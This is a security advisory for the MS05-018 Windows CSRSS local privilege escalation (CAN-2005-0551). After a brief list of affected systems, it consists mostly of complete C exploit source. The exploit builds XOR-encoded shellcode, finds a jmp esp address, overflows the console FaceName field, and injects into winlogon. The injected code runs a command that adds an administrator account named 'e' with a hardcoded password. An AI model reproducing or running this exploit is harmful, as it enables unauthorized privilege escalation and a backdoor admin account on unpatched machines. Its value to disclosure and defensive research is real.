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Microsoft Windows CSRSS Local Privileges Escalation (MS05-018, Exploit)
------------------------------------------------------------------------
SUMMARY
CSRSS is the user-mode part of the Win32 subsystem. Win32.sys is the
kernel-mode portion of the Win32 subsystem. An attacker may gain a local
elevated privileges by exploiting a vulnerability in CSRSS.
DETAILS
Vulnerable Systems:
* Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000
Service Pack 4
* Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service
Pack 2
* Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
* Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)
* Microsoft Windows Server 2003
* Microsoft Windows Server 2003 for Itanium-based Systems
* Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and
Microsoft Windows Millennium Edition (ME)
Immune Systems:
* Microsoft Windows Server 2003 Service Pack 1
* Microsoft Windows Server 2003 with SP1 for Itanium-based Systems
* Microsoft Windows Server 2003 x64 Edition
* Microsoft Windows XP Professional x64 Edition
CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0551>
CAN-2005-0551
Exploit:
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#pragma comment (lib,"Advapi32.lib")
typedef struct _CONSOLE_STATE_INFO {
/* 0x00 */ DWORD cbSize;
/* 0x04 */ COORD ScreenBufferSize;
/* 0x08 */ COORD WindowSize;
/* 0x0c */ POINT WindowPosition;
/* 0x14 */ COORD FontSize;
/* 0x18 */ DWORD FontFamily;
/* 0x1c */ DWORD FontWeight;
/* 0x20 */ WCHAR FaceName[0x200];
} CONSOLE_STATE_INFO, *PCONSOLE_STATE_INFO;
typedef struct xxx
{
DWORD dw[6];
char cmd[0x50];
}address_and_cmd;
char decoder[]=
"\x8b\xdc"
"\xBE\x44\x59\x41\x53\x46\xBF\x44\x59\x34\x53\x47\x43\x39\x33\x75"
"\xFB\x83\xC3\x04\x80\x33\x97\x43\x39\x3B\x75\xF8\x45\x59\x41\x53";
//user=e
//pass=asd#321
char add_user[]=
"\x90\x90\x90\x90\x90\x90\x90\x8D\x7b\x98\xFF\x77\x14\x6A\x00\x68"
"\x2A\x04\x00\x00\xFF\x17\x8B\xD8\x6A\x04\x68\x00\x10\x00\x00\x68"
"\x00\x01\x00\x00\x6A\x00\x53\xFF\x57\x04\x8B\xF0\x6A\x00\x68\x00"
"\x01\x00\x00\x8D\x47\x18\x50\x56\x53\xFF\x57\x08\x33\xC0\x50\x50"
"\x56\xFF\x77\x10\x50\x50\x53\xFF\x57\x0C";
char decode_end_sign[]="EY4S";
char sc[0x200];
char szConsoleTitle[256];
DWORD search_jmpesp()
{
char szDLL[][30] = {"ntdll.dll",
"kernel32.dll",
"user32.dll",
"gdi32.dll",
"winsrv.dll",
"csrsrv.dll",
"basesrv.dll"};
int i,y;
BOOL done;
HMODULE h;
BYTE *ptr;
DWORD addr=0;
for(i=0;i<sizeof(szDLL)/sizeof(szDLL[0]);i++)
{
done = FALSE;
h = LoadLibrary(szDLL[i]);
if(h == NULL)
continue;
printf("[+] start search \"FF E4\" in %s\n", szDLL[i]);
ptr = (BYTE *)h;
for(y = 0;!done;y++)
{
__try
{
if(ptr[y] == (BYTE)'\xFF' && ptr[y+1] == (BYTE)'\xE4')
{
addr = (int)ptr + y;
done = TRUE;
printf("[+] found \"FF E4\"(jmp esp) in %X[%s]\n", addr, szDLL[i]);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
done = TRUE;
}
}
FreeLibrary(h);
if(addr) break;
}
return addr;
}
BOOL make_shellcode(DWORD dwTargetPid)
{
HMODULE hKernel32;
address_and_cmd aac;
int i=0, j=0, size=0;
hKernel32 = LoadLibrary("kernel32.dll");
if(!hKernel32) return FALSE;
aac.dw[0] = (DWORD)GetProcAddress(hKernel32, "OpenProcess");
aac.dw[1] = (DWORD)GetProcAddress(hKernel32, "VirtualAllocEx");
aac.dw[2] = (DWORD)GetProcAddress(hKernel32, "WriteProcessMemory");
aac.dw[3] = (DWORD)GetProcAddress(hKernel32, "CreateRemoteThread");
aac.dw[4] = (DWORD)GetProcAddress(hKernel32, "WinExec");
aac.dw[5] = dwTargetPid;
memset(aac.cmd, 0, sizeof(aac.cmd));
strcpy(aac.cmd, "cmd /c net user e asd#321 /add && net localgroup
administrators e /add");
//encode
strcpy(sc, decoder);
for(i=0;i<sizeof(add_user);i++)
add_user[i]^=(BYTE)'\x97';
strcat(sc, add_user);
for(i=0;i<sizeof(aac);i++)
((char *)&aac)[i]^=(BYTE)'\x97';
size=strlen(sc);
memcpy(&sc[size], (char *)&aac, sizeof(aac));
size+=sizeof(aac);
sc[size]='\x0';
strcat(sc, decode_end_sign);
return TRUE;
}
void exploit(HWND hwnd, DWORD dwPid)
{
HANDLE hFile;
LPVOID lp;
int i, index;
DWORD dwJMP;
CONSOLE_STATE_INFO csi;
memset((void *)&csi, 0, sizeof(csi));
csi.cbSize = sizeof(csi);
csi.ScreenBufferSize.X = 0x0050;
csi.ScreenBufferSize.Y = 0x012c;
csi.WindowSize.X = 0x0050;
csi.WindowSize.Y=0x0019;
csi.WindowPosition.x = 0x58;
csi.WindowPosition.y = 0x58;
csi.FontSize.X = 0;
csi.FontSize.Y=0xc;
csi.FontFamily = 0x36;
csi.FontWeight = 0x190;
for(i=0;i<0x58;i++)
((char *)csi.FaceName)[i] = '\x90';
dwJMP = search_jmpesp();
if(!dwJMP)
{
printf("[-] search FF E4 failed.\n");
return;
}
memcpy(&((char *)csi.FaceName)[0x58], (char *)&dwJMP, 4);
for(i=0;i<0x20;i++)
strcat((char *)csi.FaceName, "\x90");
index = strlen((char *)csi.FaceName);
if(!make_shellcode(dwPid)) return;
memcpy(&((char *)csi.FaceName)[index], (char *)sc, strlen(sc));
hFile = CreateFileMappingW((void *)0xFFFFFFFF,0,4,0,csi.cbSize,0);
if(!hFile)
{
printf("[-] CreateFileMapping failed:%d\n", GetLastError());
return;
}
printf("[+] CreateFileMapping OK!\n");
lp = MapViewOfFile(hFile, 0x0F001F,0,0,0);
if(!lp)
{
printf("[-] MapViewOfFile failed:%d\n", GetLastError());
return;
}
printf("[+] MapViewOfFile OK!\n");
//copy
memcpy((unsigned short *)lp, (unsigned short *)&csi, csi.cbSize);
printf("[+] Send Exploit!\n");
SendMessageW(hwnd,0x4C9,(WPARAM)hFile,0);
}
void main(int argc, char **argv)
{
DWORD dwRet;
HWND hwnd = NULL;
DWORD dwPid = 0;
HANDLE hSnapshot = NULL;
PROCESSENTRY32 pe;
printf( "MS05-018 windows CSRSS.EXE Stack Overflow exp v1.0\n"
"Affect: Windows 2000 sp3/sp4 (all language)\n"
"Coded by eyas <eyas at xfocus.org>\n"
"http://www.xfocus.net\n\n";);
if(argc==2)
{
dwPid = atoi(argv[1]);
}
else
{
printf("Usage: %s pid\n\n", argv[0]);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot,&pe);
do
{
if( strcmpi(pe.szExeFile, "WINLOGON.EXE") == 0)
{
printf("[+] PID=%d Process=%s\n", pe.th32ProcessID, pe.szExeFile);
}
}
while(Process32Next(hSnapshot,&pe)==TRUE);
CloseHandle (hSnapshot);
}
if(!dwPid) return;
if(!FreeConsole())
printf("[-] FreeConsole failed:%d\n", GetLastError());
else
{
printf("[+] FreeConsole ok.\n");
if(!AllocConsole())
printf("[-] AllocConsole failed:%d\n", GetLastError());
else
printf("[+] AllocConsole ok.\n");
}
dwRet = GetConsoleTitle(szConsoleTitle, sizeof(szConsoleTitle));
if(dwRet)
{
printf("[+] Get Console Title OK:\"%s\"\n", szConsoleTitle);
}
else
{
printf("[-] Get Console Title failed.\n");
return;
}
hwnd = FindWindow("ConsoleWindowClass",szConsoleTitle);
if(hwnd)
printf("[+] bingo! found hwnd=%X\n", hwnd);
else
{
printf("[-] can't found hwnd!\n");
return;
}
exploit(hwnd, dwPid);
printf("[+] Done.\n");
}
/* EoF */
ADDITIONAL INFORMATION
The information has been provided by FrSIRT.
The original article can be found at:
<http://www.frsirt.com/exploits/20050905.MS05-018-CSRSS.c.php>
http://www.frsirt.com/exploits/20050905.MS05-018-CSRSS.c.php
The original advisory can be found at:
<http://www.securiteam.com/windowsntfocus/5AP0A0UFGQ.html>
http://www.securiteam.com/windowsntfocus/5AP0A0UFGQ.html
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